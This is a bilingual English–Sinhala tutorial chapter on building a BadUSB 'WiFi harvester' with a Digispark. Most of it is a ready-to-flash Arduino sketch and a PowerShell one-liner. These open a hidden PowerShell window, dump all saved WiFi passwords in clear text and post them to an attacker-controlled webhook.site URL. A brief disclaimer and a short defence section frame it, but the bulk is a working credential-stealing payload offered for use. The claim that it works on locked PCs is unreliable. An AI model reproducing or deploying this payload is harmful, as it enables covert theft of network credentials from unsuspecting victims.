PART 06: OPERATION WIFI HARVESTER

TARGET: SAVED WIRELESS CREDENTIALS
METHOD: POWERSHELL EXFILTRATION
STATUS: ONLINE
DISCLAIMER: This script is for educational research and authorized penetration testing only. Accessing networks without permission is a crime.

19. The Concept: "Exfiltration"

In cybersecurity, "Exfiltration" means unauthorized transfer of data from a computer. A BadUSB attack usually happens in two stages:

  1. Execution: Running a command on the victim's PC.
  2. Exfiltration: Sending the results (passwords/files) back to the attacker.

Since the BadUSB is a keyboard, it cannot "download" files into itself (it has no storage access). Instead, we must force the victim's computer to upload the data to us over the internet.

19. දත්ත පිටතට ගැනීමේ න්‍යාය (Exfiltration)
සයිබර් ආරක්ෂණයේදී "Exfiltration" කියන්නේ පරිගණකයක තියෙන ඩේටා හොරෙන් එළියට ගන්න එකට. BadUSB එකක් පාවිච්චි කරද්දී මේක පියවර දෙකකින් වෙනවා:
1. Execution: කමාන්ඩ් එකක් රන් කරනවා (උදා: පාස්වර්ඩ් ටික ලිස්ට් කරනවා).
2. Exfiltration: ඒ ලිස්ට් එක අපිට ලැබෙන විදිහට එළියට යවනවා.

BadUSB එක කීබෝඩ් එකක් නිසා, ඒකට බැහැ පෙන් එකක් වගේ ෆයිල් කොපි කරගන්න. ඒ වෙනුවට අපි කරන්නේ, වික්ටිම්ගේ (Victim) ඉන්ටර්නෙට් කනෙක්ෂන් එක පාවිච්චි කරලා, ඒ ඩේටා ටික අපේ සර්වර් එකකට "Upload" කරගන්න එකයි.

[ VICTIM PC ] --(Extract WiFi Pass)--> [ POWERSHELL MEMORY ] --(HTTP POST)--> [ INTERNET ] --(JSON)--> [ ATTACKER SERVER ]

20. Setting Up the Receiver (Webhook)

We need a server to catch the stolen passwords. Setting up a full server is hard. The easiest way for hackers (and testers) is to use a Webhook.

A Webhook is a unique URL. Any data sent to this URL is logged and displayed to you. We will use Webhook.site for this lab.

  • Go to webhook.site.
  • Copy your unique URL (e.g., https://webhook.site/abc-123...).
  • Keep this tab open. Any passwords sent will appear here.

20. සර්වර් එක සකසා ගැනීම (Webhook)
අපිට හොරකම් කරන පාස්වර්ඩ් ටික ලබාගන්න සර්වර් එකක් ඕන වෙනවා. ලේසිම ක්‍රමය තමයි Webhook එකක් පාවිච්චි කරන එක. Webhook එකක් කියන්නේ ඔයාටම වෙන් වුණ විශේෂ URL එකක් (Link එකක්). කවුරුහරි ඒ ලින්ක් එකට ඩේටා එව්වොත්, ඒක ඔයාට පේන්න ගන්නවා.

කරන්න ඕන දේ:
1. webhook.site වෙබ් අඩවියට යන්න.
2. එතන තියෙන "Your unique URL" එක කොපි කරගන්න.
3. ඒක තමයි අපේ "බාල්දිය". පාස්වර්ඩ් ඔක්කොම වැටෙන්නේ ඕකට.

21. The Magic One-Liner (PowerShell)

This is the most critical part. We need a single line of code that does everything: finds passwords and uploads them. We use PowerShell because it's built into Windows.

The Logic:
1. netsh wlan show profiles lists all networks.
2. We loop through them and extract the password (key=clear).
3. We package it into a JSON object.
4. We send it to your Webhook using Invoke-RestMethod.

21. PowerShell මැජික් කමාන්ඩ් එක
මේක තමයි වැඩේ මොළය. අපිට ඕන එක පේළියේ කෝඩ් එකක් (One-Liner). මේකෙන් වෙන්නේ:
1. මැෂින් එකේ තියෙන ඔක්කොම WiFi නම් ටික ගන්නවා.
2. ඒ හැම එකකම පාස්වර්ඩ් එක (key=clear) ඉල්ලනවා.
3. ඒ ඔක්කොම එකතු කරලා අපේ Webhook ලින්ක් එකට යවනවා.

PowerShell (Payload Logic) ● ● ●
# සරලව තේරුම් ගැනීමට කඩා ලියා ඇත (Digispark එකේදී මෙය එක පේළියක් විය යුතුයි)

$wifi_list = netsh wlan show profiles | Select-String "\:(.+)$" | %{$_.Matches.Groups[1].Value.Trim()};

foreach ($wifi in $wifi_list) {
    $pass = netsh wlan show profile name="$wifi" key=clear;
    Invoke-RestMethod -Uri "YOUR_WEBHOOK_URL" -Method Post -Body "$pass"
}
                    

22. The Injection Code (Arduino/Digispark)

Now we wrap that PowerShell command inside the Digispark code. We need to be careful with speed. If we type too fast, characters might get skipped. If we type too slow, the victim might see it.

Obfuscation Trick:
We use mode con:cols=15 lines=1 to shrink the command window to a tiny size immediately, so the user barely notices it.

22. Digispark කෝඩ් එක (The Final Payload)
දැන් අපි අර PowerShell කමාන්ඩ් එක Arduino කෝඩ් එක ඇතුළට දාන්න ඕනේ. මෙතනදී අපි පොඩි ට්‍රික් එකක් පාවිච්චි කරනවා. කමාන්ඩ් එක රන් වෙන්න ගත්ත ගමන් අපි CMD වින්ඩෝ එකේ සයිස් එක ගොඩක් පොඩි කරනවා (cols=15 lines=1). එතකොට යූසර්ට ඒක පේන්නේ නෑ.

WiFi_Stealer.ino [UPLOAD THIS TO DIGISPARK]
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.delay(2000); // Driver Init Wait
  DigiKeyboard.sendKeyStroke(0);
  
  // 1. Open Run Dialog (Win + R)
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  
  // 2. Open PowerShell stealthily
  DigiKeyboard.print("powershell -NoP -NonI -W Hidden");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1500); // Wait for PowerShell to load

  // 3. The Payload (One-Liner)
  // Note: Replace 'WEBHOOK_URL' with your actual URL
  DigiKeyboard.print("$u='WEBHOOK_URL';");
  DigiKeyboard.print("$w=(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$_.Matches.Groups[1].Value.Trim()};");
  DigiKeyboard.print("foreach ($n in $w) { $p=(netsh wlan show profile name=\"$n\" key=clear); Invoke-RestMethod -Uri $u -Method Post -Body \"$p\" }");
  
  // 4. Execute and Exit
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {
  // Do nothing
}
                    

23. How to Defend Against This?

This attack is scary because it works on almost any locked Windows PC. So how do we stop it?

  • Physical Security: Don't let strangers plug USBs.
  • USB Restrictions: Use Group Policy (GPO) to block unknown USB devices.
  • PowerShell Restrictions: Set Execution Policy to Restricted (though BadUSB often bypasses this by typing the commands directly).

23. ආරක්ෂා වෙන්නේ කොහොමද?
මේක භයානකයි මොකද ඕනෑම වින්ඩෝස් මැෂින් එකක මේක වැඩ කරනවා. නවත්වන්නේ කොහොමද?
1. Physical Security: නාඳුනන අයට පෙන් ගහන්න දෙන්න එපා.
2. Disable USB: ආයතන වල නම් USB පෝර්ට්ස් බ්ලොක් කරන්න පුළුවන් (GPO හරහා).
3. Endpoint Protection: හොඳ Antivirus එකක් (EDR) තිබුණොත්, PowerShell එකපාරටම ඉන්ටර්නෙට් එකට ඩේටා යවද්දී ඒක බ්ලොක් කරන්න පුළුවන්.